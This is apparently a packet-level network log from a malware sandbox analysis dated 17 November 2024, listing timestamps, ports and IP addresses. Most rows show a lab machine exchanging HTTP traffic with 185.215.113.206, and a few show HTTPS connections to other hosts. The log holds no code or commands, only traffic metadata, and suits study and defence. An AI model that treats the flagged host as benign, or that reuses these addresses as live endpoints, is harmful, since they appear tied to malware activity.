Nov 17, 2024 12:35:36.984311104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.984311104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.984358072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.984524012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984580994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984591961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984617949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.984617949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.984827995 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984832048 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.984841108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984853029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984863997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.984904051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.984904051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.985021114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.985030890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.985074997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.997025013 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:36.997054100 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:36.997133970 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:36.997451067 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:36.997468948 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.002811909 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.002857924 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:37.002984047 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.003186941 CET	49876	443	192.168.2.5	23.101.168.44
Nov 17, 2024 12:35:37.003204107 CET	443	49876	23.101.168.44	192.168.2.5
Nov 17, 2024 12:35:37.016334057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016360998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016375065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016392946 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.016422987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.016489029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016501904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016513109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016525984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016556025 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.016580105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016583920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.016617060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.016727924 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016784906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016794920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016827106 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.016851902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.016854048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016865969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016891956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.016900063 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.016926050 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017055035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017119884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017132044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017157078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017182112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017189026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017199993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017224073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017241955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017380953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017394066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017405033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017426968 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017462015 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017497063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017550945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017553091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017563105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017590046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017690897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017702103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017719984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017733097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017733097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017744064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.017754078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.017785072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.057912111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.057985067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.057991028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.058024883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.077156067 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.077182055 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.077263117 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.077286959 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.077315092 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.077342987 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.102755070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.102809906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.102821112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.102906942 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.102924109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.102936029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.102948904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.102958918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.102993965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.103301048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.103318930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.103333950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.103348017 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.103384972 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.103542089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.103589058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.103622913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.103634119 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.103646040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.103662014 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.103681087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.134980917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135003090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135014057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135076046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135092974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135104895 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135114908 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135126114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135138988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135158062 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135166883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135195971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135294914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135390043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135402918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135413885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135443926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135474920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135510921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135556936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135569096 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135600090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135613918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135662079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135675907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135719061 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135895014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135909081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135930061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135951042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135962009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.135963917 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.135999918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136010885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136023045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136050940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136063099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136236906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136296988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136300087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136312008 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136337042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136363983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136378050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136409998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136421919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136451960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136472940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136626959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136646032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136657000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.136722088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.136722088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.167457104 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.180988073 CET	49866	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.181001902 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.181452990 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.183273077 CET	49866	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.183366060 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.184838057 CET	49866	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.194552898 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.194577932 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.194679022 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.194703102 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.194750071 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.217739105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.217761993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.217773914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.217824936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.217860937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.221816063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.221895933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.221908092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.221936941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.221975088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.222006083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.222018003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.222040892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.222053051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.222058058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.222090960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.222115040 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.222182989 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.222227097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.222326994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.222342968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.222347975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.222381115 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.222407103 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.231337070 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.253582001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253674984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253686905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253698111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253736019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253739119 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.253797054 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.253832102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253844976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253871918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.253897905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.253911972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253977060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.253997087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254009008 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254009962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254038095 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254076004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254122972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254174948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254204988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254220009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254230022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254271984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254282951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254285097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254293919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254307032 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254324913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254338026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254503965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254514933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254527092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254549980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254566908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254643917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254663944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254674911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254704952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254726887 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254774094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254785061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254795074 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.254811049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254823923 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.254839897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.255055904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255075932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255086899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255117893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.255140066 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.255208015 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255271912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255283117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255295992 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.255327940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.255366087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255377054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255388021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.255414009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.255433083 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.311686993 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.311707020 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.311773062 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.311789036 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.311826944 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.315771103 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.315921068 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.315979958 CET	49866	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.336241961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.336252928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.336337090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.336359978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.336381912 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.336404085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.336416960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.337615967 CET	49866	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.337640047 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.339091063 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.340346098 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.340373039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.340403080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.340409994 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.340420008 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.340439081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.340460062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.340466022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.340502977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.340536118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.340542078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.340585947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.340996027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.341062069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.341087103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.341111898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.341141939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.341406107 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.341413021 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.341548920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.341559887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.341564894 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.341571093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.341588974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.341626883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.343219042 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.343234062 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.343647003 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.343651056 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.362479925 CET	443	49870	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.366861105 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.372350931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372373104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372385025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372416019 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372437000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372447014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372473955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372484922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372530937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372576952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372589111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372642994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372678995 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372719049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372723103 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372730017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372765064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372826099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372843981 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372872114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372896910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372896910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372914076 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.372958899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372975111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.372987032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373040915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373040915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373114109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373136044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373162985 CET	49778	80	192.168.2.5	185.215.113.206
